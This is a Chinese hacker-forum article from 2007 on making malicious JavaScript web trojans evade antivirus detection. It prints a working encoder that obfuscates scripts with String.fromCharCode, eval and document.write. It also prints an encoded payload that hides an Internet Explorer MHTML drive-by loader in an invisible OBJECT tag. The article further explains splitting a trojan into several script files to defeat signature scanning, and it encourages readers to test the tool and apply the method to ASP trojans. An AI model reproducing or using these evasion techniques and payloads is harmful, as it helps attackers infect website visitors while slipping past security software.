我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件:
 文章:        教程:
 推荐: 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章: 爱黑新闻 | 黑客攻防 | 安全防御 | 程序设计 | 系统操作 | 网络技术 | 本站动态 | 业界动态 | 安全公告 | 病毒公告
 
 
您当前的位置:我爱黑客网 -> 黑客攻防 -> 工具详解 -> 文章内容  
栏目导航
· Q Q 攻防 · 黑客入门
· 攻防实战 · 安全初步
· 工具详解 · 黑客教程
· 漏洞研究 · 黑客编程
· 技术杂谈
热门文章
· 灰鸽子新手完全教程(..
· 关于一句话木马
· 帮老马的ASP站长助手正..
· google 搜索引擎实用技..
· 软件、程序脱壳的各种..
· 开启网络终端连接最简..
· Hacker defender 中文..
· 黑客必备命令-FTP命令..
· 最新版的pcshare的免疫..
· 用好MSN Spaces之新手..
· 视频:ADSL宽带共享上..
· 便捷的数据收集工具—..
相关文章

· JSP单页面网站文件管..
· 纯JS实现的动态表格..
· [JS小技巧] 简写doc..
· 高手过招:全程追踪检..
· 推荐:高手过招:全程..
· 百度空间存js破坏漏..
· jsp安全问题及其解决..
· Apache Jakarta res..
· IBM WebSphere配置J..
· Fusebox V4.1.0 JS代..
查看更多与js脚本免杀工具 免杀经验以及简单的分析相关内容

js脚本免杀工具 免杀经验以及简单的分析
作者:幽火  来源:www.5ihack.com  发布时间:2007-5-6 13:48:58  发布人:ghostfire

减小字体 增大字体


文章作者:虫虫 
信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 

本文所做的实验是以ah.js(冰狐的一个变种,附件中名为"病毒样本.txt")为病毒样本进行的,其他js恶意代码没有测试。 
由于卡巴斯基对js的查杀力度比较大,再者我本机就安装了卡巴斯基,所以对其有少量额外的分析。 
菜鸟作品,难登大雅之堂,高手多多指教! ^-^ 

常规的思路就是将js编码以后使杀毒软件找不到特征码所以不报。本实验也是循了这一思路,所以并没有多少创新的地方。(要有创新点的话,后半部分的一个技巧可能算是一个.呵呵) 
于是将js文件拆成几片,看看特征码在什么地方,然后修改。ccl不能拆开非pe文件,也不适合,所以都是手动来的。 
但一开始我并没有这么做,我使用escape函数将这个js编码了,使用的时候再用unescape变回来,于是写了代码,但测试失败!(也许其他的杀毒监测不出来,但是卡巴不会) 
想可能特征码还存在,于是将原文件每一个字符的ASCII读出来,然后再用String.fromCharCode编回来,这样肯定就不会有特征码了,因为只有一串串的数字,于是很得意的这么做了,然而,很意外的,卡巴马上把这个文件杀了!!!! 

相当意外,难道卡巴是动态跟踪的?于是把病毒样本里的变量名换了,被杀!!难道他动态的监视每一个变量,一旦发现变量中有非法内容马上查杀?!再结合第一次实验,我几乎就确定是这么回事了,但是下面的实验又让我意外: 

把病毒样本里的变量名换了,然后加入了几个中间变量,本来等待被卡巴杀掉,但是卡巴却把它放行了(附件中的 样本直接变形.txt). 

于是重新思考了.[各位和我一样的小菜菜也一起想一下吧,高手莫笑] 

卡巴斯基并没有那么智能去动态的跟踪每一个变量,他可能只是内嵌了一个脚本分析器,可以分析简单的脚本编码,所以以上的几个实验会有被杀的结果.然后卡巴也是特征码驱动的,于是, 样本直接变形.txt 会被放行. 

这个思路的直接产物就是:附件中的"js变形免杀"这个东东,因为简单编码并不会绕过卡巴,但是将源码稍微改动后却可以通过.如果将二者结合一下呢? js变形免杀 就这么做的。大家可以看看他的代码。附件中还有他变形后的ah.js的代码"生成样本1.js" 
呵呵,不要高兴,他被卡巴杀了,呵呵. 但是江民会放过他 (附件中有一个各类杀毒比较) 

变形不够吧?于是写了 js变形免杀2 ,终于绕过了卡巴. 根据我以上的思路认为其他的恶意js通过这个工具变形后均可以免杀,但我没有做相关的测试,也希望看到这里的各位拿去测试一下,谢谢! 

写的好啰嗦阿!!当作稿件发倒是能多赚点。呵呵。 
下面是我觉得有点创新的地方。也是在测定特征码位置的时候想到的。 
看一下附件的 js分片卡巴检测 ,发现了什么?呵呵 

还是那个:将js文件拆成几片,看看特征码在什么地方,然后修改。由的时候拆成几片后都不报毒了,郁闷,得重新凑,因为把特征码拆开了,检测不到了。哈哈,猜到了吧?  
我就把这几片分开来放,然后再另一个文件里使用  
<script src=piece1.js></script>  
<script src=piece2.js></script>  
<script src=piece3.js></script> 
把他们合起来~~~很有意思的绕过了杀毒~(附件有说明) 

其实asp也可以阿,include不是吗? 

好了,很啰嗦,写点什么时总要发挥投稿时1句话分5句说的精神~~哎~~ 

asp马的免杀呢?完全可以照上面的思路.但是我却没有写出对应的工具~自己劳动一下吧~ 

[个人感觉asp马的危害比js大(为什么?呵呵),所以只把js变形器给出了……js免杀,他调用的马可不一定免杀呶~] 

为防止被杀毒查杀了,附件是加密的,密码是 est 

增加:对附件代码的一点点提示 
这是附件中对JS进行编码的核心代码:  

function change(){  
  var s=new String(document.all.txt.value);  
  var t=new String;  
  var i;  
  for (i=0;i<s.length;i++ ){  
    t=t+(s.charCodeAt(i).toString())+",";}  
  t=t.substr(t,t.length-1)  
  t=’t="’+t+’";\nt=eval("String.fromCharCode("+t+")");\ndocument.write("<script>"+t+"<\\/script>");’;  
  document.all.txt.value=t;}  
</script>  

这是使用该工具生成的一段代码:  

t="71,73,70,56,57,97,32,13,10,118,97,114,32,71,73,70,56,57,97,61,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,59,71,73,70,56,57,97,61,71,73,70,56,57,97,46,115,117,98,115,116,114,105,110,103,40,48,44,71,73,70,56,57,97,46,108,97,115,116,73,110,100,101,120,79,102,40,39,47,39,41,41,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,79,66,74,69,67,84,32,87,105,100,116,104,61,48,32,72,101,105,103,104,116,61,48,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,59,34,32,116,121,112,101,61,34,116,101,120,116,47,120,45,115,99,114,105,112,116,108,101,116,34,32,100,97,116,97,61,34,109,107,58,37,52,48,77,83,73,84,83,116,111,114,101,37,51,65,109,104,116,109,108,37,51,65,99,37,51,65,92,92,37,50,69,109,104,116,37,50,49,39,43,71,73,70,56,57,97,43,39,37,50,102,49,46,106,115,58,58,47,37,50,51,34,62,60,47,79,66,74,69,67,84,62,39,41,59";  
t=eval("String.fromCharCode("+t+")");  
document.write("<script>"+t+"<\/script>");  

看起来其实也没有什么,就是将原来的js给变成ascii码,然后再用String.fromCharCode编回来。 
但是这样一编将不同格式的,不同特征字的js代码变成了格式相同,特征字相似的js代码,使得生成的js的免杀修改特别方便,也方便了使用后面的js分片技巧来免杀,这是一点; 
其次,你不觉得这个代码有点类似于exe文件的加壳吗?我们用工具将原js编码,然后通过转换以后再使用document.write("<script>"+t+"<\/script>")使其恢复活性,很像是吧。本来打算把这个展开来分析一下,但是仔细考虑了一下发现这个好像没有很大的用途,最多用于保护代码~和免杀。asp也可以通过使用eval和execute来加壳一下,呵呵。(asp方面可以使劲考虑下阿,你可能 会有一个很大的发现啊!) 

我也说了这个文章并没有什么技术性,实用性也不是很高。权当拿出来开拓开拓思路,高手莫笑,呵呵。

查看更多与js脚本免杀工具 免杀经验以及简单的分析相关内容

[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:
下一篇文章:
      asp马免杀工具----asp万能溶剂       用rsync对网站进行镜像备份
∷相关文章评论∷   (评论内容只代表网友观点,与本站立场无关!) [发表评论]
 
 
 
 
晋ICP备05008232   维护网络安全、传播安全技术才是我们的目标! 
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图